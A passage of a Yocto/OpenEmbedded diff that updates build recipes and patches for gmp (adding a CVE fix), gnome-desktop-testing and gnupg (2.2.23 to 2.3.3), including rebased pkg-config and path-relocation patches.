+++ b/meta/recipes-support/gmp/gmp_6.2.1.bb
@@ -12,6 +12,7 @@ SRC_URI = "https://gmplib.org/download/${BPN}/${BP}${REVISION}.tar.bz2 \
file://use-includedir.patch \
file://0001-Append-the-user-provided-flags-to-the-auto-detected-.patch \
file://0001-confiure.ac-Believe-the-cflags-from-environment.patch \
+ file://cve-2021-43618.patch \
"
SRC_URI[md5sum] = "28971fc21cf028042d4897f02fd355ea"
SRC_URI[sha256sum] = "eae9326beb4158c386e39a356818031bd28f3124cf915f8c5b1dc4c7a36b4d7c"
@@ -19,16 +20,16 @@ SRC_URI[sha256sum] = "eae9326beb4158c386e39a356818031bd28f3124cf915f8c5b1dc4c7a3
acpaths = ""
EXTRA_OECONF += " --enable-cxx=detect"
-EXTRA_OECONF_mipsarchr6_append = " --disable-assembly"
+EXTRA_OECONF:mipsarchr6:append = " --disable-assembly"
PACKAGES =+ "libgmpxx"
-FILES_libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
+FILES:libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
-do_install_append() {
+do_install:append() {
oe_multilib_header gmp.h
}
-do_install_prepend_class-target() {
+do_install:prepend:class-target() {
sed -i \
-e "s|--sysroot=${STAGING_DIR_HOST}||g" \
-e "s|${DEBUG_PREFIX_MAP}||g" \
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
new file mode 100644
index 0000000000..39efa4a463
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
@@ -0,0 +1,31 @@
+From df625a36be8e0c7afa68b3dd23907dc7d658c59a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 8 Jul 2021 23:13:30 -0700
+Subject: [PATCH] fix non-literal format string issue with clang
+
+clang errors out when using -Werror=format-nonliteral
+since the definition of g_strdup_vprintf() from glib-2.0
+is using va_list and clang seems to still warn where as
+gcc doesn't do that for va_list arguments
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gnome-desktop-testing/-/merge_requests/9]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/gnome-desktop-testing-runner.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/gnome-desktop-testing-runner.c b/src/gnome-desktop-testing-runner.c
+index d75b71c..da49e14 100644
+--- a/src/gnome-desktop-testing-runner.c
++++ b/src/gnome-desktop-testing-runner.c
+@@ -74,7 +74,7 @@ static const char * const test_log_message_ids[] = {
+ static gboolean opt_quiet = FALSE;
+ static gboolean opt_tap = FALSE;
+
+-static void
++static void G_GNUC_PRINTF (3, 0)
+ test_log (TestLog what,
+ const char *test_name,
+ const char *format,
+--
+2.32.0
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
deleted file mode 100644
index 0defebeb15..0000000000
--- a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Test runner for GNOME-style installed tests"
-HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
-LICENSE = "LGPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
- file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
-
-SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=http"
-SRCREV = "4decade67b29ad170fcf3de148e41695fc459f48"
-
-DEPENDS = "glib-2.0"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
new file mode 100644
index 0000000000..8cd27e9075
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Test runner for GNOME-style installed tests"
+DESCRIPTION = "Runner provides an execution harness for GNOME installed tests. \
+These tests are useful for verifying the functionality of software as \
+installed and packaged, and complement rather than replace build-time \
+('make check') tests."
+HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
+LICENSE = "LGPLv2+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
+ file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=http;branch=master \
+ file://0001-fix-non-literal-format-string-issue-with-clang.patch \
+ "
+SRCREV = "e346cd4ed2e2102c9b195b614f3c642d23f5f6e7"
+
+DEPENDS = "glib-2.0"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch b/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
deleted file mode 100644
index 5c9c022226..0000000000
--- a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 59a3c76d4016ffc615f1c45184f4c6820061d69c Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Wed, 16 Aug 2017 11:14:12 +0800
-Subject: [PATCH 1/4] Use pkg-config to find pth instead of pth-config.
-
-Upstream-Status: Denied
-[not submitted but they've been clear they don't want a pkg-config
-dependency]
-
-RP 2014/5/22
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Rebase to 2.1.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- m4/gnupg-pth.m4 | 53 ++++++++---------------------------------------------
- 1 file changed, 8 insertions(+), 45 deletions(-)
-
-diff --git a/m4/gnupg-pth.m4 b/m4/gnupg-pth.m4
-index 6dc9e0e..5892531 100644
---- a/m4/gnupg-pth.m4
-+++ b/m4/gnupg-pth.m4
-@@ -17,33 +17,9 @@ dnl implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- # Taken and modified from the m4 macros which come with Pth.
- AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- [
-- _pth_version=`$PTH_CONFIG --version | awk 'NR==1 {print [$]3}'`
- _req_version="ifelse([$1],,1.2.0,$1)"
-+ PKG_CHECK_MODULES(PTH, [pth >= $_req_version], [have_pth=yes], [have_pth=no])
-
-- AC_MSG_CHECKING(for PTH - version >= $_req_version)
-- for _var in _pth_version _req_version; do
-- eval "_val=\"\$${_var}\""
-- _major=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\1/'`
-- _minor=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\2/'`
-- _rtype=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\3/'`
-- _micro=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\4/'`
-- case $_rtype in
-- "a" ) _rtype=0 ;;
-- "b" ) _rtype=1 ;;
-- "." ) _rtype=2 ;;
-- esac
-- _hex=`echo dummy | awk '{ printf("%d%02d%1d%02d", major, minor, rtype, micro); }' \
-- "major=$_major" "minor=$_minor" "rtype=$_rtype" "micro=$_micro"`
-- eval "${_var}_hex=\"\$_hex\""
-- done
-- have_pth=no
-- if test ".$_pth_version_hex" != .; then
-- if test ".$_req_version_hex" != .; then
-- if test $_pth_version_hex -ge $_req_version_hex; then
-- have_pth=yes
-- fi
-- fi
-- fi
- if test $have_pth = yes; then
- AC_MSG_RESULT(yes)
- AC_MSG_CHECKING([whether PTH installation is sane])
-@@ -51,9 +27,9 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- _gnupg_pth_save_cflags=$CFLAGS
- _gnupg_pth_save_ldflags=$LDFLAGS
- _gnupg_pth_save_libs=$LIBS
-- CFLAGS="$CFLAGS `$PTH_CONFIG --cflags`"
-- LDFLAGS="$LDFLAGS `$PTH_CONFIG --ldflags`"
-- LIBS="$LIBS `$PTH_CONFIG --libs --all`"
-+ CFLAGS="$CFLAGS $PTH_CFLAGS"
-+ LDFLAGS="$LDFLAGS $PTH_LDFLAGS"
-+ LIBS="$LIBS $PTH_LIBS"
- AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pth.h>
- ],
- [[ pth_init ();]])],
-@@ -80,26 +56,13 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- # PTH_CLFAGS and PTH_LIBS are AS_SUBST.
- #
- AC_DEFUN([GNUPG_PATH_PTH],
--[ AC_ARG_WITH(pth-prefix,
-- AC_HELP_STRING([--with-pth-prefix=PFX],
-- [prefix where GNU Pth is installed (optional)]),
-- pth_config_prefix="$withval", pth_config_prefix="")
-- if test x$pth_config_prefix != x ; then
-- PTH_CONFIG="$pth_config_prefix/bin/pth-config"
-- fi
-- AC_PATH_PROG(PTH_CONFIG, pth-config, no)
-+[
- tmp=ifelse([$1], ,1.3.7,$1)
-- if test "$PTH_CONFIG" != "no"; then
-- GNUPG_PTH_VERSION_CHECK($tmp)
-- if test $have_pth = yes; then
-- PTH_CFLAGS=`$PTH_CONFIG --cflags`
-- PTH_LIBS=`$PTH_CONFIG --ldflags`
-- PTH_LIBS="$PTH_LIBS `$PTH_CONFIG --libs --all`"
-- AC_DEFINE(HAVE_PTH, 1,
-+ GNUPG_PTH_VERSION_CHECK($tmp)
-+ if test $have_pth = yes; then
-+ AC_DEFINE(HAVE_PTH, 1,
- [Defined if the GNU Pth is available])
-- fi
- fi
- AC_SUBST(PTH_CFLAGS)
- AC_SUBST(PTH_LIBS)
- ])
--
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
index c641a19616..b58fbfe6f5 100644
--- a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
+++ b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
@@ -1,4 +1,4 @@
-From 56343af532389c31eab32c096c9a989c53c78ce0 Mon Sep 17 00:00:00 2001
+From bdde1faa774753e29d582d79186e08a38597de9e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 22 Jan 2018 18:00:21 +0200
Subject: [PATCH] configure.ac: use a custom value for the location of
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 1d05d39..eaaf33c 100644
+index 5cdd316..e5f2d6a 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1858,7 +1858,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
+@@ -1962,7 +1962,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
AC_DEFINE_UNQUOTED(GPGTAR_NAME, "gpgtar", [The name of the gpgtar tool])
diff --git a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
index 6d86e5c99b..d3790ac782 100644
--- a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
+++ b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
@@ -1,7 +1,7 @@
-From 53c2aec2e13f4e2d09be7148869c862f07dfdd4d Mon Sep 17 00:00:00 2001
+From 15668161c351aee5f29152db2972b1648da11210 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Wed, 16 Aug 2017 11:16:30 +0800
-Subject: [PATCH 2/4] use pkgconfig instead of npth config
+Subject: [PATCH] use pkgconfig instead of npth config
Upstream-Status: Inappropriate [openembedded specific]
@@ -9,29 +9,45 @@ Signed-off-by: Saul Wold <sgw@linux.intel.com>
Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- m4/npth.m4 | 34 ++++++++--------------------------
- 1 file changed, 8 insertions(+), 26 deletions(-)
+ m4/npth.m4 | 53 ++++++++---------------------------------------------
+ 1 file changed, 8 insertions(+), 45 deletions(-)
diff --git a/m4/npth.m4 b/m4/npth.m4
-index 17c2644..15a931b 100644
+index 06cdaee..4adda01 100644
--- a/m4/npth.m4
+++ b/m4/npth.m4
-@@ -17,10 +17,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
+@@ -19,25 +19,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
if test "x$npth_config_prefix" != x ; then
NPTH_CONFIG="$npth_config_prefix/bin/npth-config"
fi
-- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+ AC_PATH_PROG(PKGCONFIG, pkg-config, no)
+- use_gpgrt_config=""
+- if test x"$NPTH_CONFIG" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG npth --exists; then
+- NPTH_CONFIG="$GPGRT_CONFIG npth"
+- AC_MSG_NOTICE([Use gpgrt-config as npth-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+- fi
+-
- if test "$NPTH_CONFIG" != "no" ; then
-- npth_version=`$NPTH_CONFIG --version`
+- if test -z "$use_gpgrt_config"; then
+- npth_version=`$NPTH_CONFIG --version`
+- else
+- npth_version=`$NPTH_CONFIG --modversion`
+- fi
+ if test "$PKGCONFIG" != "no" ; then
+ npth_version=`$PKGCONFIG --modversion npth`
fi
npth_version_major=`echo $npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-@@ -45,7 +45,7 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -62,7 +47,7 @@ AC_DEFUN([AM_PATH_NPTH],
AC_MSG_CHECKING(for NPTH - version >= $min_npth_version)
ok=no
@@ -40,7 +56,7 @@ index 17c2644..15a931b 100644
req_major=`echo $min_npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
req_minor=`echo $min_npth_version | \
-@@ -66,28 +66,9 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -83,32 +68,9 @@ AC_DEFUN([AM_PATH_NPTH],
fi
if test $ok = yes; then
AC_MSG_RESULT([yes ($npth_version)])
@@ -48,20 +64,24 @@ index 17c2644..15a931b 100644
- AC_MSG_RESULT(no)
- fi
- if test $ok = yes; then
-- # If we have a recent NPTH, we should also check that the
-- # API is compatible.
-- if test "$req_npth_api" -gt 0 ; then
+- # If we have a recent NPTH, we should also check that the
+- # API is compatible.
+- if test "$req_npth_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
- tmp=`$NPTH_CONFIG --api-version 2>/dev/null || echo 0`
-- if test "$tmp" -gt 0 ; then
-- AC_MSG_CHECKING([NPTH API version])
-- if test "$req_npth_api" -eq "$tmp" ; then
-- AC_MSG_RESULT([okay])
-- else
-- ok=no
-- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
-- fi
+- else
+- tmp=`$NPTH_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
+- if test "$tmp" -gt 0 ; then
+- AC_MSG_CHECKING([NPTH API version])
+- if test "$req_npth_api" -eq "$tmp" ; then
+- AC_MSG_RESULT([okay])
+- else
+- ok=no
+- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
- fi
-- fi
+- fi
+- fi
- fi
- if test $ok = yes; then
- NPTH_CFLAGS=`$NPTH_CONFIG --cflags`
@@ -70,9 +90,9 @@ index 17c2644..15a931b 100644
+ NPTH_LIBS=`$PKGCONFIG --libs npth`
+ AC_MSG_WARN([[GOT HERE - $NPTH_LIBS ]])
ifelse([$2], , :, [$2])
- npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
- if test x"$npth_config_host" != xnone ; then
-@@ -103,6 +84,7 @@ AC_DEFUN([AM_PATH_NPTH],
+ if test -z "$use_gpgrt_config"; then
+ npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
+@@ -128,6 +90,7 @@ AC_DEFUN([AM_PATH_NPTH],
fi
fi
else
@@ -80,6 +100,3 @@ index 17c2644..15a931b 100644
NPTH_CFLAGS=""
NPTH_LIBS=""
ifelse([$3], , :, [$3])
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch b/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
index 607a09f188..b4106d3620 100644
--- a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
+++ b/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
@@ -1,4 +1,4 @@
-From 9a901dbb1c48685f2db6d7b55916c9484e871f16 Mon Sep 17 00:00:00 2001
+From 9ace8f1b68ab708c44dce4c0152b975fbceb0398 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Wed, 16 Aug 2017 11:18:01 +0800
Subject: [PATCH] dirmngr uses libgpg error
@@ -11,20 +11,19 @@ Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
- dirmngr/Makefile.am | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
+ dirmngr/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dirmngr/Makefile.am b/dirmngr/Makefile.am
-index 208a813..292c036 100644
+index 77ca3f5..1446775 100644
--- a/dirmngr/Makefile.am
+++ b/dirmngr/Makefile.am
-@@ -90,7 +90,8 @@ endif
+@@ -86,7 +86,7 @@ endif
dirmngr_LDADD = $(libcommonpth) \
$(DNSLIBS) $(LIBASSUAN_LIBS) \
$(LIBGCRYPT_LIBS) $(KSBA_LIBS) $(NPTH_LIBS) \
- $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) $(NETLIBS)
-+ $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) $(NETLIBS) \
-+ $(GPG_ERROR_LIBS)
++ $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) $(NETLIBS) $(GPG_ERROR_LIBS)
if USE_LDAP
dirmngr_LDADD += $(ldaplibs)
endif
diff --git a/meta/recipes-support/gnupg/gnupg/relocate.patch b/meta/recipes-support/gnupg/gnupg/relocate.patch
index aa8d1e3cc2..53679bf1d9 100644
--- a/meta/recipes-support/gnupg/gnupg/relocate.patch
+++ b/meta/recipes-support/gnupg/gnupg/relocate.patch
@@ -1,4 +1,4 @@
-From 4005b3342db06749453835720b5a5c2392a90810 Mon Sep 17 00:00:00 2001
+From 766d37fe9acd9fdaaff9c094635e06b50c5902d7 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Wed, 19 Sep 2018 14:44:40 +0100
Subject: [PATCH] Allow the environment to override where gnupg looks for its
@@ -7,83 +7,78 @@ Subject: [PATCH] Allow the environment to override where gnupg looks for its
Upstream-Status: Inappropriate [OE-specific]
Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
---
- common/homedir.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
+ common/homedir.c | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/common/homedir.c b/common/homedir.c
-index 4b6e46e..58989b4 100644
+index 455c188..55049db 100644
--- a/common/homedir.c
+++ b/common/homedir.c
-@@ -763,7 +763,7 @@ gnupg_socketdir (void)
+@@ -1155,7 +1155,7 @@ gnupg_socketdir (void)
if (!name)
{
unsigned int dummy;
- name = _gnupg_socketdir_internal (0, &dummy);
+ name = getenv("GNUPG_SOCKETDIR") ?: _gnupg_socketdir_internal (0, &dummy);
+ gpgrt_annotate_leaked_object (name);
}
- return name;
-@@ -789,7 +789,7 @@ gnupg_sysconfdir (void)
- }
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_SYSCONFDIR;
-+ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
- #endif /*!HAVE_W32_SYSTEM*/
- }
-
-@@ -818,7 +818,7 @@ gnupg_bindir (void)
+@@ -1187,7 +1187,7 @@ gnupg_sysconfdir (void)
+ if (dir)
+ return dir;
else
- return rdir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_BINDIR;
-+ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
+- return GNUPG_SYSCONFDIR;
++ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -831,7 +831,7 @@ gnupg_libexecdir (void)
- #ifdef HAVE_W32_SYSTEM
- return gnupg_bindir ();
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBEXECDIR;
-+ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
+@@ -1223,7 +1223,7 @@ gnupg_bindir (void)
+ return name;
+ }
+ else
+- return GNUPG_BINDIR;
++ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -845,7 +845,7 @@ gnupg_libdir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "lib" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBDIR;
-+ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
+@@ -1250,7 +1250,7 @@ gnupg_libexecdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBEXECDIR;
++ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -859,7 +859,7 @@ gnupg_datadir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "share" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_DATADIR;
-+ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
+@@ -1280,7 +1280,7 @@ gnupg_libdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBDIR;
++ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -875,7 +875,7 @@ gnupg_localedir (void)
- NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return LOCALEDIR;
-+ return getenv("LOCALEDIR") ?: LOCALEDIR;
+@@ -1311,7 +1311,7 @@ gnupg_datadir (void)
+ return name;
+ }
+ else
+- return GNUPG_DATADIR;
++ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -943,7 +943,7 @@ gnupg_cachedir (void)
+@@ -1343,7 +1343,7 @@ gnupg_localedir (void)
+ return name;
}
- return dir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
-+ return getenv("GNUPG_LOCALSTATEDIR") ?: GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
+ else
+- return LOCALEDIR;
++ return getenv("LOCALEDIR") ?: LOCALEDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
+--
+2.20.1
+
diff --git a/meta/recipes-support/gnupg/gnupg_2.2.23.bb b/meta/recipes-support/gnupg/gnupg_2.2.23.bb
deleted file mode 100644
index c624b67a0b..0000000000
--- a/meta/recipes-support/gnupg/gnupg_2.2.23.bb
+++ /dev/null
@@ -1,80 +0,0 @@
-SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
-HOMEPAGE = "http://www.gnupg.org/"
-LICENSE = "GPLv3 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
- file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
-
-DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
-
-inherit autotools gettext texinfo pkgconfig
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch \
- file://0002-use-pkgconfig-instead-of-npth-config.patch \
- file://0003-dirmngr-uses-libgpg-error.patch \
- file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
- file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
- "
-SRC_URI_append_class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
- file://relocate.patch"
-SRC_URI_append_class-nativesdk = " file://relocate.patch"
-
-SRC_URI[sha256sum] = "10b55e49d78b3e49f1edb58d7541ecbdad92ddaeeb885b6f486ed23d1cd1da5c"
-
-EXTRA_OECONF = "--disable-ldap \
- --disable-ccid-driver \
- --with-zlib=${STAGING_LIBDIR}/.. \
- --with-bzip2=${STAGING_LIBDIR}/.. \
- --with-readline=${STAGING_LIBDIR}/.. \
- --enable-gpg-is-gpg2 \
- "
-
-# A minimal package containing just enough to run gpg+gpgagent (E.g. use gpgme in opkg)
-PACKAGES =+ "${PN}-gpg"
-FILES_${PN}-gpg = " \
- ${bindir}/gpg \
- ${bindir}/gpg2 \
- ${bindir}/gpg-agent \
-"
-
-# Normal package (gnupg) should depend on minimal package (gnupg-gpg)
-# to ensure all tools are included. This is done only in non-native
-# builds. Native builds don't have sub-packages, so appending RDEPENDS
-# in this case breaks recipe parsing.
-RDEPENDS_${PN} += "${@ "" if ("native" in d.getVar("PN")) else (d.getVar("PN") + "-gpg")}"
-
-RRECOMMENDS_${PN} = "pinentry"
-
-do_configure_prepend () {
- # Else these could be used in prefernce to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/ksba.m4
- rm -f ${S}/m4/libgcrypt.m4
-}
-
-do_install_append() {
- ln -sf gpg2 ${D}${bindir}/gpg
- ln -sf gpgv2 ${D}${bindir}/gpgv
-}
-
-do_install_append_class-native() {
- create_wrappers ${STAGING_BINDIR_NATIVE}
-}
-
-do_install_append_class-nativesdk() {
- create_wrappers ${SDKPATHNATIVE}${bindir_nativesdk}
-}
-
-create_wrappers() {
- for i in gpg2 gpgconf gpg-agent gpg-connect-agent; do
- create_wrapper ${D}${bindir}/$i GNUPG_BINDIR=$1
- done
-}
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
-PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnupg/gnupg_2.3.3.bb b/meta/recipes-support/gnupg/gnupg_2.3.3.bb
new file mode 100644
index 0000000000..5614ac6473
--- /dev/null
+++ b/meta/recipes-support/gnupg/gnupg_2.3.3.bb
@@ -0,0 +1,85 @@
+SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
+DESCRIPTION = "A complete and free implementation of the OpenPGP standard \
+as defined by RFC4880 (also known as PGP). GnuPG allows you to encrypt \
+and sign your data and communications; it features a versatile key \
+management system, along with access modules for all kinds of public \
+key directories."
+HOMEPAGE = "http://www.gnupg.org/"
+LICENSE = "GPLv3 & LGPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
+ file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
+
+DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
+
+inherit autotools gettext texinfo pkgconfig
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://0002-use-pkgconfig-instead-of-npth-config.patch \
+ file://0003-dirmngr-uses-libgpg-error.patch \
+ file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
+ file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
+ "
+SRC_URI:append:class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
+ file://relocate.patch"
